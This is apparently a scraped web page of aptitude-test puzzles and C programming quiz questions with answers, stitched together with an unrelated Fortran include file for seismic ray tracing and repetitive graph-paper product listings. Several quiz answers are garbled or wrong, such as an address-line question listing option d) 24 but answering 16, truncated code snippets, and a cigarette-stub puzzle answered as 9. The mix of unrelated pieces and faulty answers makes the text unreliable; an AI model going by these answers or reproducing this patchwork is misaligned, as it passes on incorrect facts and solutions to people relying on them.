Three criminals were arrested for shop lifting. However, when interrogated only one told the truth in both his statements, while the other two each told one true statement and one lie. The statements
ALBERT :(a)Chander passed the merchandise. (b)Bruce created the diversion.
BRUCE :(a)Albert passed the merchandise. (b)I created the diversion.
CLIVE :(a)I took the goods out of the shop. (b)Bruce passed them over.
Albert passed the goods. Bruce created the diversion..Clive took the goods out of the shop.
Everyday in his business a merchant had to weigh amounts from 1 kg to 121 kgs, to the nearest kg. What are the minimum number of weight required and how heavy should they be?
The minimum number is 5 and they should weigh 1,3,9,27 and 81 kgs.
A hotel has 10 stores. Which floor is above the floor below the floor, below the floor above the floor, below the floor above the fifth.
The sixth floor.
Seven members sat around a table for three days for a conference. The member's names were Abhishek, Amol, Ankur, Anurag, Bhuwan, Vasu and Vikram. The meetings were chaired by Vikram. On the first
evening members sat around the table alphabetically. On the following two nights, Vikram arranged the seating so that he could have Abhishek as near to him as possible and absent minded Vasu as far
away as he could. On no evening did any person have sitting next to him a person who had previously been his neighbor. How did Vikram manage to seat everybody to the best advantage on the second and
third evenings?
Second evening: Vikram, Ankur, Abhishek, Amol, Vasu, Anurag and Bhuwan.
Third evening :Vikram, Anurag, Abhishek, Vasu, Bhuwan, Ankur, Amol.
Two trains start from stations A and B spaced 50 kms apart at the same time and speed. As the trains start, a bird flies from one train towards the other and on reaching the second train, it flies
back to the first train. This is repeated till the trains collide. If the speed of the trains is 25 km/h and that of the bird is 100km/h.
How much did the bird travel till the collision.
100 kms.
Four prisoners escape from a prison. The prisoners, Mr East, Mr West, Mr South, Mr. North head towards different directions after escaping. The following information of their escape was supplied: The
escape routes were The North Road, South Road, East Road and West Road.
None of the prisoners took the road which was their namesake.
Mr. East did not take the South Road
Mr. West did not the South Road.
The West Road was not taken by Mr. East
What road did each of the prisoners take to make their escape?
Mr. East took the North Road
Mr. West took the East Road
Mr. North took the South Road
Mr. South took the West Road.
Complete the series:
5, 20, 24, 6, 2, 8, ?
12 (as 5*4=20, 20+4=24, 24/4=6, 6-4=2, 2*4=8, 8+4=12).
Replace each letter by a digit. Each letter must be represented by the same digit and no beginning letter of a word can be 0.
O N E
O N E
O N E
O N E
T E N
0 =1, N = 8 ,E = 2, T = 7
Ann, Boobie, Cathy and Dave are at their monthly business meeting. Their occupations are author, biologist, chemist and doctor, but not necessarily in that order. Dave just told the biologist that
Cathy was on her way with doughnuts.
Ann is sitting across from the doctor and next to the chemist. The doctor was thinking that Boobie was a goofy name for parent's to choose, but didn't say anything. What is each person's occupation?
Since Dave spoke to the biologist and Ann sat next to the chemist and across the doctor, Cathy must be the author and Ann the biologist. The doctor didn't speak, but David did, so Bobbie is the
doctor and Dave the chemist.
Sometime after 10:00 PM a murder took place. A witness claimed that the clock must have stopped at the time of the shooting. It was later found that the position of both the hands were the same but
their positions had interchanged. Tell the time of the shooting (both actual and claimed).
Time of shooting = 11:54 PM
Claimed Time = 10:59 PM
Next number in the series is
1 , 2 , 4 , 13 , 31 , 112 , ?
No number has digits more than 4. All of them are 1 , 2, 4, 8 , 16 , 32 , 64 converted to numbers in base 5
Shahrukh speaks truth only in the morning and lies in the afternoon, whereas Salman speaks truth only in the afternoon. A says that B is Shahrukh. Is it morning or afternoon and who is A - Shahrukh
or Salman.
Afternoon ; A is Salman.
Two trains starting at same time, one from Bangalore to Mysore and other in opposite direction arrive at their destination 1 hr and 4 hours respectively after passing each other. How much faster is
one train from other?
Ans: Twice
There are 6 volumes of books on a rack kept in order ( ie vol.1, vol. 2 and so on ).
Give the position after the following changes were noticed.
All books have been changed
Vol.5 was directly to the right of Vol.2
Vol.4 has Vol.6 to its left and both weren't at Vol.3's place
Vol.1 has Vol.3 on right and Vol.5 on left
An even numbered volume is at Vol.5's place
Find the order in which the books are kept now.
Ans: 2 , 5 , 1 , 3 , 6 , 4
I bought a car with a peculiar 5 digit numbered license plate which on reversing could still be read. On reversing value is increased by 78633.Whats the original number if all digits were different?
Only 0 1 6 8 and 9 can be read upside down. So on rearranging these digits we get the answer as 10968
Supposing a clock takes 7 seconds to strike 7. How much long will it take to strike 10?
10 1/2 seconds.
A man collects cigarette stubs and makes one full cigarette with every 8 stubs. If he gets 64 stubs how many full cigarettes can he smoke.
Ans: 8+1=9
A soldier looses his way in a thick jungle. At random he walks from his camp but mathematically in an interesting fashion. First he walks one mile East then half mile to North. Then 1/4 mile to West,
then 1/8 mile to South and so on making a loop. Finally how far he is from his camp and in which direction.
Ans: Distance travelled in north and south directions
1/2 - 1/8 + 1/32 - 1/128 + 1/512 - and so on
= 1/2/((1-(-1/4))
Similarly in east and west directions
1- 1/4 + 1/16 - 1/64 + 1/256 - and so on
= 1/(( 1- ( - 1/4))
Add both the answers
How can 1000000000 be written as a product of two factors neither of them containing zeros
Ans: 2 power 9 x 5 power 9
Conversation between two mathematicians:
First : I have three children. The product of their ages is 36. If you sum their ages, it is exactly same as my neighbor's door number on my left.
The second mathematician verifies the door number and says that it is not sufficient.
Then the first says " Ok one more clue is that my youngest is really the youngest". Immediately the second mathematician answers .
Can you answer the question asked by the first mathematician? What are the children ages?
Ans 1,6 and 6
Light glows for every 13 seconds . How many times did it glow between 1:57:58 and 3:20:47 am.
Ans: 383 + 1 = 384
500 men are arranged in an array of 10 rows and 50 columns according to their heights.
Tallest among each row of all are asked to fall out.
And the shortest among them is A.
Similarly after resuming that to their original positions that the shortest among each column are asked to fall out.
And the tallest among them is B .
Now who is taller among A and B ?
Ans A
A person with some money spends1/3 for cloths, 1/5 of the remaining for food and 1/4 of the remaining for travel. He is left with Rs 100/- . How much did he have with him in the beginning ?
Ans: Rs 250/-
There are six boxes containing 5 , 7 , 14 , 16 , 18 , 29 balls of either red or blue in color. Some boxes contain only red balls and others contain only blue. One sales man sold one box out of them
and then he says " I have the same number of red balls left out as that of blue ". Which box is the one he sold out ?
Ans: Total no of balls = 89 and (89-29 /2) = 60/2 = 30
and also 14 + 16 = 5 + 7 + 18 = 30
A chain is broken into three pieces of equal lengths containing 3 links each. It is taken to a blacksmith to join into a single continuous one . How many links are to to be opened to make it ?
Ans: 2.
Grass in lawn grows equally thick and in a uniform rate. It takes 24 days for 70 cows and 60 days for 30 cows to eat the whole of the grass. How many cows are needed to eat the grass in 96 days.?
Ans: 20
g - grass at the beginning
r - rate at which grass grows, per day
y - rate at which one cow eats grass, per day
n - no of cows to eat the grass in 96 days
g + 24*r = 70 * 24 * y
g + 60*r = 30 * 60 * y
g + 96*r = n * 96 * y
Solving, n = 20.
From a vessel, 1/3rd of the liquid evaporates on the first day. On the second day 3/4th of the remaining liquid evaporates. What fraction of the volume is present at the end of the second day.
Ans: 50%
An orange glass has orange juice and white glass has apple juice both of equal volumes. 50ml of the orange juice is taken and poured into the apple juice.
50ml from the white glass is poured into the orange glass. Of the two quantities, the amount of apple juice in the orange glass and the amount of orange juice in the white glass, which one is greater
and by how much?
Ans: The two quantities are equal
There is a 4 inch cube painted on all sides. This is cut down into of 1 inch cubes.
What is the no of cubes which have no pointed sides.
Ans: 8
Sam and Mala have a conversation.
Sam says I am certainly not over 40
Mala says I am 38 and you are atleast 5 years older than me
Now Sam says you are atleast 39
All the statements by the two are false.
How old are they really?
Ans: Mala = 38 yrs
Sam = 41 yrs.
At 6'o a clock ticks 6 times. The time between first and last ticks is 30 seconds. How long does it tick at 12'o clock.
Ans: 66 sec. (2 marks)
Three friends divided some bullets equally. After all of them shot 4 bullets the total number of bullets remaining is equal to the bullets each had after division. Find the original number divided.
Ans: 18 (2 marks)
Initially . x x x
Now x-4 x-4 x-4
Equation is 3x-12 = x
A ship went on a voyage. After it had travelled 180 miles a plane started with 10 times the speed of the ship. Find the distance when they meet from starting point.
Ans: 200miles. (2 marks)
Distance travelled by plane = 1/10 distance travelled by ship + 180
Complete the Table given below:
Three football teams are there. Given below is the group table. Fill in the x's
Played Won Lost Draw Goals For Goals Against
A 2 2 x x x 1
B 2 x x 1 2 4
C 2 x x x 3 7
Ans: The filled table is given below (4 marks)
Played Won Lost Draw Goals For Goals Against
A 2 2 0 0 7 1
B 2 0 1 1 2 4
C 2 0 1 1 3 7
There are 3 societies A, B, C. A lent cars to B and C as many as they had already. After some time B gave as many tractors to A and C as many as they have. After sometime c did the same thing. At the
end of this transaction each one of them had 24. Find the cars each originally had.
Ans: A had 39 cars, B had 21 cars & C had 12 cars (4 marks)
There N stations on a railroad. After adding X stations on the rail route 46 additional tickets have to be printed. Find N and X.
Ans. x=2 and N=11
Let initially, N(N-1) = t
After adding, (N+X)(N+X-1) = t+46
By trail and error method (4 marks)
Given that April 1 is tuesday. A, B, C are 3 persons told that their farewell party was on
A - May 8, thursday
B - May 10,tuesday
C - June 5, friday
Out of A, B, C only one made a completetly true statement concerning date,day and month The other told two one told the day right and the other the date right. What is correct date, month, day.
Ans: B - (May 10) SUNDAY
C - June 6 (Friday). (5 marks)
The Bulls, Pacers, Lakers and Jazz ran for a contest. Anup, Sujit, John made the following statements regarding results.
Anup said either Bulls or Jazz will definitely win
Sujit said he is confident that Bulls will not win
John said he is confident that neither Jazz nor Lakers will win
When the result came it was found that only one of the above three had made a correct statement. Who has made the correct statement and who has won the contest.
Ans: Sujit; Lakers (5marks )
Five people A ,B ,C ,D ,E are related to each other. Four of them make one true statement each as follows.
(i) B is my father's brother.
(ii) E is my mother-in-law.
(iii)C is my son-in-law's brother
(iv)A is my brother's wife.
Ans: (i) D
(ii) B
(iii) E
(iv) C (10 marks)
Which of the following involves context switch,
a) system call
b)privileged instruction
c)floating point exception
d)all the above
e)none of the above
Ans: a
For 1 MB memory no of address lines required,
d) 24
Ans: 16
Semaphore is used for
a) synchronization
b) dead-lock avoidance
d) none
Ans : a
if( Y++>9 && Y++!=10 && Y++>10)
printf("........ Y);
else printf("".... )
Ans : 13
a) f points to max of x and y
b) f points to min of x and y
d) ........
Ans : a
if x is even, then
x &1 !=1
x! ( some stuff is there)
a)only two are correct
b)three are correct
Ans : all are correct
Which of the function operator cannot be over loaded
a) <=
Ans: b and d
10,20,30,40,50,60 : give the order when put in a queue and in a stack
Ans : Queue : 10,20,30,40,50,60
stack : 60,50,40,30,20,10
Debugging is the process of finding
Ans : logical and runtime errors
Trace the error:
void main()
int &a;
/* some other stuff here */
Ans: syntax error
A problem with a function named 'myValue' will be given and asked to find the value of main() for an argument of 150,
Ans : 150
Post a Comment | {"url":"https://www.theinsanetechie.in/2009/06/infosys-questions-with-answers_19.html","timestamp":"2024-11-06T12:06:48Z","content_type":"application/xhtml+xml","content_length":"398351","record_id":"<urn:uuid:e984bc35-f67c-4aab-87ea-22762362406b>","cc-path":"CC-MAIN-2024-46/segments/1730477027928.77/warc/CC-MAIN-20241106100950-20241106130950-00637.warc.gz"} |
C INCLUDE 'initc.inc'
C ------------------------------------------------------------------
INTEGER MSRFCA
PARAMETER (MSRFCA=128)
INTEGER ISB1I,ICB1I
REAL YLI(6),YI(29),FSRFCA(MSRFCA)
SAVE /INITC/
C ------------------------------------------------------------------
C ISB1I,ICB1I... Indices of a simple and a complex blocks in which
C the initial point of the ray is situated (see C.R.T.6.1).
C YLI... Array containing the values of the quantities YL(1)-YL(6)
C (see C.R.T.5.5.4) describing the local properties of the
C model at the initial point of the ray, see C.R.T.6.1.
C They must not be changed outside the subroutine INIT2.
C Description of YL
C YI... Array containing the following quantities describing the
C properties of the rays and of the travel-time field, see
C C.R.T.6.1:
C YI(1)...Initial travel time.
C YI(2)...Initial imaginary part of the complex travel time.
C YI(3)-YI(5)... Coordinates of the initial point of the ray.
C YI(6)-YI(8)... Covariant components of the initial slowness
C vector.
C YI(9)-YI(11)... Covariant components of the first basis vector of
C the ray-centred coordinate system at the initial point of
C the ray (perpendicular to the slowness vector
C YI(6)-YI(8)).
C YI(12),YI(16) QR11,QR12
C YI(13),YI(17) QR21,QR22
C YI(14),YI(18) PR11,PR12
C YI(15),YI(19)... PR21,PR22
C Elements of the ray geometrical spreading matrix QR, and
C of the matrix PR (see C.R.T.,eq.(5.13)) at the initial
C point of the ray.
C YI(20),YI(21)... Take-off parameters of the ray.
C The above quantities are defined in subroutine INIT2 of file
C 'init.for'.
C INIT2
C Following quantities Y(22)-Y(29) are defined in subroutine RPAR4
C of file 'rpar.for'.
C RPAR4
C In addition to the above quantities describing the properties
C defined for a single ray, there are also quantities describing
C the properties of the discrete system of computed rays in the
C vicinity of the computed ray. These quantities are
C YI(22)..Area of the element of the ray-parameter surface,
C corresponding to the ray, see C.R.T.,eq.(6.1).
C YI(23),YI(24),YI(25)... Components 11, 12, 22 of the symmetric
C matrix inverse to the specific moment of the element of
C the ray-parameter surface corresponding to the ray, see
C C.R.T.,eq.(6.2).
C Additional quantities related to the shooting algorithm:
C YI(26),YI(27)... Normalized take-off parameters of the ray, both
C taking the values between 0 and 1.
C YI(28),YI(29)... For a successful ray, values of the X1 and X2
C functions parametrizing the reference surface.
C X1 and X2 functions
C Otherwise zeros.
C The index of the last allocated numeric unit of array FSRFCA is
C named MSRFCA. Dimension MSRFCA may be adjusted if necessary.
C Common block /INITC/ is included in external procedures INIT1 and
C INIT2 of 'init.for', in OUTP of 'raycb.for', in 'rpar.for',
C in 'writ.for', in 'scropc.for', and may be included in any other
C subroutine.
C Date: 1997, September 5
C Coded by Ludek Klimes | {"url":"https://seis.karlov.mff.cuni.cz/software/sw3dcd3/crt/initc.inc","timestamp":"2024-11-13T08:59:39Z","content_type":"text/html","content_length":"4160","record_id":"<urn:uuid:75cc5297-e2a9-4956-ab81-c94fa4da18b5>","cc-path":"CC-MAIN-2024-46/segments/1730477028342.51/warc/CC-MAIN-20241113071746-20241113101746-00076.warc.gz"} |
Money Puzzles
1 2 3 4 5 6 7 8 9 = 100.
It is required to place arithmetical signs between the nine figures so
that they shall equal 100. Of course, you must not alter the present
numerical arrangement of the figures. Can you give a correct solution
that employs (1) the fewest possible signs, and (2) the fewest possible
separate strokes or dots of the pen? That is, it is necessary to use as
few signs as possible, and those signs should be of the simplest form.
The signs of addition and multiplication (+ and x) will thus count as
two strokes, the sign of subtraction (-) as one stroke, the sign of
division (/) as three, and so on.
Read Answer | {"url":"https://www.mathpuzzle.ca/Puzzle/The-Digital-Century.html","timestamp":"2024-11-10T04:56:24Z","content_type":"text/html","content_length":"21092","record_id":"<urn:uuid:dc33c462-dee4-49df-95cb-e14de7c358db>","cc-path":"CC-MAIN-2024-46/segments/1730477028166.65/warc/CC-MAIN-20241110040813-20241110070813-00619.warc.gz"} |
Ranjit scores 80 marks in English and $x$ marks in Hindi. What is his total score in the two subjects?
Hint: The marks of Hindi is variable, so the total score will also be variable. The total score in the two subjects is given by the sum of marks scored in English and marks scored in Hindi. After
that substitute, the marks scored in English and marks scored in Hindi. The sum will be the desired result.
Complete step by step answer:
Given: - Marks scored by Ranjit in English = 80
Marks scored by Ranjit in Hindi = $x$
To find: - Total score in the two subjects.
The total score in the two subjects is given by the sum of marks scored in English and marks scored in Hindi.
Total score in the two subjects = (Marks scored in English) + (Marks scored in Hindi)
Substitute the marks scored in English and marks scored in Hindi,
Total score in the two subjects = $80+x$
Hence, the total score in the two subjects is $\left( 80+x \right)$ marks.
The addition is one of the basic arithmetic operations in Mathematics. The addition is the process of adding things together. To add the numbers together, a sign “+” is used. The numbers which are
going to add is called “addends” and the result which we are going to obtain is called “sum”. Addends can be any numbers such as positive integer, a negative integer, fractions, and so on.
There are four Maths properties defined for addition: -
Commutative Property
A + B = B + A
Associative Property
A + (B + C) = (A + B) + C
Distributive Property
A × (B + C) = A × B + A × C
Additive Identity
A + 0 = A = 0 + A | {"url":"https://www.vedantu.com/question-answer/ranjit-scores-80-marks-in-english-and-x-marks-in-class-8-maths-cbse-5f85377052cf860687da65c3","timestamp":"2024-11-12T21:58:32Z","content_type":"text/html","content_length":"149961","record_id":"<urn:uuid:c4330fd8-02f9-4577-a0b2-f89831ca9227>","cc-path":"CC-MAIN-2024-46/segments/1730477028290.49/warc/CC-MAIN-20241112212600-20241113002600-00844.warc.gz"} |
Create a y=a*x^2 parabolic line in Fusion using the conic curve tool?
a month ago
Hi all,
I am trying to create (draw in a sketch) a simple parabola that follows the equation y=a*x^2, where the a is a defined parameter that the user can change. I was looking into the conic curve tool and
it seems like such can be accomplished but I am not too sure how.
Does anyone have any ideas how I can create such a parabola without having to use external scripts?
a month ago
a month ago
a month ago
a month ago
a month ago
a month ago
a month ago | {"url":"https://forums.autodesk.com/t5/fusion-design-validate-document/create-a-y-a-x-2-parabolic-line-in-fusion-using-the-conic-curve/m-p/13054973","timestamp":"2024-11-12T00:47:05Z","content_type":"text/html","content_length":"830356","record_id":"<urn:uuid:58940cac-d9b2-428e-8c87-9580128ecceb>","cc-path":"CC-MAIN-2024-46/segments/1730477028240.82/warc/CC-MAIN-20241111222353-20241112012353-00735.warc.gz"} |
For what values of x, if any, does f(x) = 1/((x-1)(x-7)) have vertical asymptotes? | HIX Tutor
For what values of x, if any, does #f(x) = 1/((x-1)(x-7)) # have vertical asymptotes?
Answer 1
The denominator of the rational function cannot equal zero as this would lead to division by zero which is undefined. Setting the denominator equal to zero and solving for x will give the values that
x cannot be and if the numerator is non-zero for these values of x then they must be vertical asymptotes.
solve: (x-1)(x-7) = 0 → x = 1 , x = 7
#rArrx=1,x=7" are the asymptotes"# graph{1/((x-1)(x-7)) [-10, 10, -5, 5]}
Sign up to view the whole answer
By signing up, you agree to our Terms of Service and Privacy Policy
Answer 2
Sign up to view the whole answer
By signing up, you agree to our Terms of Service and Privacy Policy
Answer 3
The function ( f(x) = \frac{1}{(x-1)(x-7)} ) will have vertical asymptotes where the denominator, ( (x-1)(x-7) ), equals zero.
Setting each factor equal to zero and solving for ( x ) gives us the values where vertical asymptotes occur:
1. ( x - 1 = 0 ) gives ( x = 1 ).
2. ( x - 7 = 0 ) gives ( x = 7 ).
Thus, the function has vertical asymptotes at ( x = 1 ) and ( x = 7 ).
Sign up to view the whole answer
By signing up, you agree to our Terms of Service and Privacy Policy
Answer from HIX Tutor
When evaluating a one-sided limit, you need to be careful when a quantity is approaching zero since its sign is different depending on which way it is approaching zero from. Let us look at some
When evaluating a one-sided limit, you need to be careful when a quantity is approaching zero since its sign is different depending on which way it is approaching zero from. Let us look at some
When evaluating a one-sided limit, you need to be careful when a quantity is approaching zero since its sign is different depending on which way it is approaching zero from. Let us look at some
When evaluating a one-sided limit, you need to be careful when a quantity is approaching zero since its sign is different depending on which way it is approaching zero from. Let us look at some
Not the question you need?
HIX Tutor
Solve ANY homework problem with a smart AI
• 98% accuracy study help
• Covers math, physics, chemistry, biology, and more
• Step-by-step, in-depth guides
• Readily available 24/7 | {"url":"https://tutor.hix.ai/question/for-what-values-of-x-if-any-does-f-x-1-x-1-x-7-have-vertical-asymptotes-8f9af9cd0a","timestamp":"2024-11-01T23:48:47Z","content_type":"text/html","content_length":"574771","record_id":"<urn:uuid:ce89d22b-2b1e-4c96-8c17-f6c42253a8b0>","cc-path":"CC-MAIN-2024-46/segments/1730477027599.25/warc/CC-MAIN-20241101215119-20241102005119-00774.warc.gz"} |
RE: [Inkscape-user] knotes tool
1 Nov 2005 1 Nov '05
3:36 p.m.
Istvan Seidel:
one question abut the knotes tool, how can i move a knote to another place of the line?
I'm guessing that you mean "nodes tool". Do you mean move a node to a different place on the line without affecting the shape of the line? I don't think this is directly possible. It may not be
possible, after all, to represent the same shaped curve with nodes in different places. You could add a new node (select two nodes, press Ins, and a new node appears half way in between them), but
when you delete one of the original nodes, the shape of the line changes dramatically.
The only way I can think of is to duplicate the object, and then move the node and adjust its handles manually so that it closely matches the shape of the other object, then delete the other object.
__________________________________________________ Phil Hibbs | Capgemini | Rotherham Technical Consultant T. +44 1483 248892 | www.capgemini.com T. 0870 238 8892
This message contains information that may be privileged or confidential and is the property of the Capgemini Group. It is intended only for the person to whom it is addressed. If you are not the
intended recipient, you are not authorized to read, print, retain, copy, disseminate, distribute, or use this message or any part thereof. If you receive this message in error, please notify the
sender immediately and delete all copies of this message.
On 11/1/05, Hibbs, Phil <phil.hibbs@...926...> wrote:
I'm guessing that you mean "nodes tool". Do you mean move a node to a different place on the line without affecting the shape of the line? I don't think this is directly possible. It may not be
possible, after all, to represent the same shaped curve with nodes in different places. You could add a new node (select two nodes, press Ins, and a new node appears half way in between them),
but when you delete one of the original nodes, the shape of the line changes dramatically.
Theoretically this is possible, but a) not in all cases and b) it requires tricky math calculations.
On 11/1/05, Hibbs, Phil <phil.hibbs@...926...> wrote:
I'm guessing that you mean "nodes tool". Do you mean move a node to a different place on the line without affecting the shape of the line? I don't think this is directly possible. It may not be
possible, after all, to represent the same shaped curve with nodes in different places. You could add a new node (select two nodes, press Ins, and a new node appears half way in between them),
but when you delete one of the original nodes, the shape of the line changes dramatically.
There was a proposal to delete nodes without changing shape as much as possible, and Aaron started looking into it (I think). Hopefully this will be implemented soon.
-- bulia byak Inkscape. Draw Freely. http://www.inkscape.org
bulia byak wrote:
On 11/1/05, Hibbs, Phil <phil.hibbs@...926...> wrote:
I'm guessing that you mean "nodes tool". Do you mean move a node to a different place on the line without affecting the shape of the line? I don't think this is directly possible. It may not
be possible, after all, to represent the same shaped curve with nodes in different places. You could add a new node (select two nodes, press Ins, and a new node appears half way in between
them), but when you delete one of the original nodes, the shape of the line changes dramatically.
There was a proposal to delete nodes without changing shape as much as possible, and Aaron started looking into it (I think). Hopefully this will be implemented soon.
I haven't started looking at this yet. Since I don't know or understand the complex math is trying to guess at the best approximation, I had planned to sample the two curve segments adjacent to the
node in a configureable number of places and send that list of points to the bezier fitting functions in bezier-utils.cpp to have it find the best fitting single segment approximation (I think that
it has the ability to do this with end tangent constraints). Does this sound like a reasonable idea to the people in the know?
Aaron Spike
On 11/1/05, Aaron and Sarah Spike <spike@...476...> wrote:
I haven't started looking at this yet. Since I don't know or understand the complex math is trying to guess at the best approximation, I had planned to sample the two curve segments adjacent to
the node in a configureable number of places and send that list of points to the bezier fitting functions in bezier-utils.cpp to have it find the best fitting single segment approximation (I
think that it has the ability to do this with end tangent constraints). Does this sound like a reasonable idea to the people in the know?
Yes - initially I was doubtful about this approach, but after some thinking I now consider it the only practical mehtod, easily working for any number of deleted nodes.
-- bulia byak Inkscape. Draw Freely. http://www.inkscape.org
New subject: [Inkscape-devel] Re: knotes tool
bulia byak wrote:
On 11/1/05, Aaron and Sarah Spike <spike@...476...> wrote:
I haven't started looking at this yet. Since I don't know or understand the complex math is trying to guess at the best approximation, I had planned to sample the two curve segments adjacent
to the node in a configureable number of places and send that list of points to the bezier fitting functions in bezier-utils.cpp to have it find the best fitting single segment approximation
(I think that it has the ability to do this with end tangent constraints). Does this sound like a reasonable idea to the people in the know?
Yes - initially I was doubtful about this approach, but after some thinking I now consider it the only practical mehtod, easily working for any number of deleted nodes.
I have no idea how good it is, but a friend of mine implemented a relatively straightforward way of deleting a node from a bezier curve in the following program (license is GPL): http://
magicseteditor.sourceforge.net/ As far as I understand he uses de Casteljau's subdivision algorithm backwards to obtain a reasonably approximation.
For convenience, the relevant file can be viewed here: http://cvs.sourceforge.net/viewcvs.py/magicseteditor/mse/src/Action/SymbolAc...
The relevant method is the "construct" method in the ControlPointAddAction class. (It's in a custom language btw, but it's very much like C++, so it shouldn't be too hard to understand.)
Last active (days ago)
5 comments
5 participants
participants (5)
• Aaron and Sarah Spike
• Alexandre Prokoudine
• bulia byak
• Hibbs, Phil
• Jasper van de Gronde | {"url":"https://lists.inkscape.org/hyperkitty/list/inkscape-user@lists.inkscape.org/thread/LRQOFOK6BFQGAHALHYNZCJELZOKSNJJO/?sort=date","timestamp":"2024-11-14T21:58:59Z","content_type":"text/html","content_length":"41644","record_id":"<urn:uuid:afb84b1a-fc74-4a88-bdaf-dc2582c45842>","cc-path":"CC-MAIN-2024-46/segments/1730477395538.95/warc/CC-MAIN-20241114194152-20241114224152-00462.warc.gz"} |
5X5 Graph Paper
5X5 Graph Paper - Printable graph paper pdf, 5x5 grid paper printable, coordinate paper, math paper, squared paper, digital graph paper. Web graph paper composition notebook: View details 1/8 inch
graph paper Your elementary grade students will love this graph paper 5x5. Quad ruled 5x5, grid paper for. It is perfect for creating graphs, plotting out data, or drawing diagrams. Web select the
department you want to search in. When you find the kind of graph paper that you want to print out, click on the download button and the graph paper will pop up iin a window. 5.5x8.5 and 8.5x11 and
11x17 size. If you'd like, print as many copies you will need now and for future use.
Graph Paper 5x5 5x5 graph paper, also known as 'engineering' paper
When you find the kind of graph paper that you want to print out, click on the download button and the graph paper will pop up iin a window. Web 8.5x 11 engineering 5x5 graph paper kdp interior
template with bleed, 120 pages pdf, 1 page png. 5 out of 5 stars. It is perfect for creating graphs, plotting out.
21 Fresh 5X5 Graph Paper
10 squares per centimeter (millimeter paper), 5 squares per inch (“engineering paper), 4 squares per inch (“quad paper) graph paper, coordinate paper, grid paper, or squared paper is writing paper.
Engineering graph paper, grid paper 5x5, each square measures.20” x.20”, 5 squares per inch, 180 pages, 8.5 x 11 by complex tech notebooks 12 paperback $774 free. It is perfect.
4 best images of printable 5x5 grid inch printable grid 5 by 5 grid
Dotted line graph paper blue line graph paper weighted grid graph paper Web 8.5x 11 engineering 5x5 graph paper kdp interior template with bleed, 120 pages pdf, 1 page png. Web arrives by tue, jan 10
buy mr. Web inch printable grid graph paper how to play sos game with 5x5 grid? Your elementary grade students will love this graph.
21 Fresh 5X5 Graph Paper
Web 80 sheets of 5 x 5 ruled loose leaf graph paper with light blue lines printed 5 squares per inch on both sides with three hole punches. Printable graph paper pdf, 5x5 grid paper printable,
coordinate paper, math paper, squared paper, digital graph paper. Web this graph paper 5x5 is perfect to practice graphing skills. Dotted line graph paper.
4 best images of printable 5x5 grid inch printable grid 5 by 5 grid
Dotted line graph paper blue line graph paper weighted grid graph paper Quad ruled 5x5, grid paper for. Sos game uses media such as paper, different colored markers, and rulers so that this game can
be played. Web 5mm graph paper download free printable 5mm graph paper with blue grid lines. Web this template is a 5x5 line graph paper.
4 best images of printable 5x5 grid inch printable grid 5 by 5 grid
Your elementary grade students will love this graph paper 5x5. 5.5x8.5 and 8.5x11 and 11x17 size. It is perfect for creating graphs, plotting out data, or drawing diagrams. Printable graph paper pdf,
5x5 grid paper printable, coordinate paper, math paper, squared paper, digital graph paper. Pen graph paper, 5x5 (5 squares per inch), 11x8.5 engineering graph paper pad, 55 sheet.
printable graph paper with axis madison s paper templates coordinate
Web arrives by tue, jan 10 buy mr. Engineering graph paper, grid paper 5x5, each square measures.20” x.20”, 5 squares per inch, 180 pages, 8.5 x 11 by complex tech notebooks 12 paperback $774 free.
Pen graph paper, 5x5 (5 squares per inch), 11x8.5 engineering graph paper pad, 55 sheet 4,914 400+ bought in past month $685 list:. Your elementary.
4 best images of printable 5x5 grid inch printable grid 5 by 5 grid
10 squares per centimeter (millimeter paper), 5 squares per inch (“engineering paper), 4 squares per inch (“quad paper) graph paper, coordinate paper, grid paper, or squared paper is writing paper.
Web 80 sheets of 5 x 5 ruled loose leaf graph paper with light blue lines printed 5 squares per inch on both sides with three hole punches. Engineering graph.
Small grid paper 5x5
Web check out our graph paper notebook 5x5 selection for the very best in unique or custom, handmade pieces from our journals & notebooks shops. Printable graph paper pdf, 5x5 grid paper printable,
coordinate paper, math paper, squared paper, digital graph paper. The squares are 5mm wide, so you can create precise drawings and ensure that everything is aligned correctly..
GRAPH 5x5 Per Inch. Graph Paper Notebook. Quad Ruled. Grid Paper for
It is perfect for creating graphs, plotting out data, or drawing diagrams. The squares are 5mm wide, so you can create precise drawings and ensure that everything is aligned correctly. Web check out
our graph paper notebook 5x5 selection for the very best in unique or custom, handmade pieces from our journals & notebooks shops. 5 out of 5 stars..
Web 5mm graph paper download free printable 5mm graph paper with blue grid lines. When you find the kind of graph paper that you want to print out, click on the download button and the graph paper
will pop up iin a window. Your elementary grade students will love this graph paper 5x5. Engineering graph paper, grid paper 5x5, each square measures.20” x.20”, 5 squares per inch, 180 pages, 8.5 x
11 by complex tech notebooks 12 paperback $774 free. View details 1/8 inch graph paper 5 out of 5 stars. Web check out our graph paper notebook 5x5 selection for the very best in unique or custom,
handmade pieces from our journals & notebooks shops. Web 5x5 graph paper notebook: Three styles of loose leaf graph paper: 10 squares per centimeter (millimeter paper), 5 squares per inch
(“engineering paper), 4 squares per inch (“quad paper) graph paper, coordinate paper, grid paper, or squared paper is writing paper. Web from wikipedia, the free encyclopedia. Sos game uses media
such as paper, different colored markers, and rulers so that this game can be played. Dotted line graph paper blue line graph paper weighted grid graph paper It is perfect for creating graphs,
plotting out data, or drawing diagrams. This 5x5 quad filler paper is sfi certified paper. Printable graph paper pdf, 5x5 grid paper printable, coordinate paper, math paper, squared paper, digital
graph paper. Web this graph paper 5x5 is perfect to practice graphing skills. Web graph paper composition notebook: Web 8.5x 11 engineering 5x5 graph paper kdp interior template with bleed, 120 pages
pdf, 1 page png. If you'd like, print as many copies you will need now and for future use.
View Details 1/8 Inch Graph Paper
Web graph paper composition notebook: Three styles of loose leaf graph paper: Web check out our 5x5 graph paper selection for the very best in unique or custom, handmade pieces from our shops. If
you'd like, print as many copies you will need now and for future use.
Your Elementary Grade Students Will Love This Graph Paper 5X5.
Printable graph paper pdf, 5x5 grid paper printable, coordinate paper, math paper, squared paper, digital graph paper. Dotted line graph paper blue line graph paper weighted grid graph paper
Engineering graph paper, grid paper 5x5, each square measures.20” x.20”, 5 squares per inch, 180 pages, 8.5 x 11 by complex tech notebooks 12 paperback $774 free. Web 5x5 graph paper notebook:
Web Check Out Our Graph Paper Notebook 5X5 Selection For The Very Best In Unique Or Custom, Handmade Pieces From Our Journals & Notebooks Shops.
The squares are 5mm wide, so you can create precise drawings and ensure that everything is aligned correctly. Web this template is a 5x5 line graph paper. Web 8.5x 11 engineering 5x5 graph paper kdp
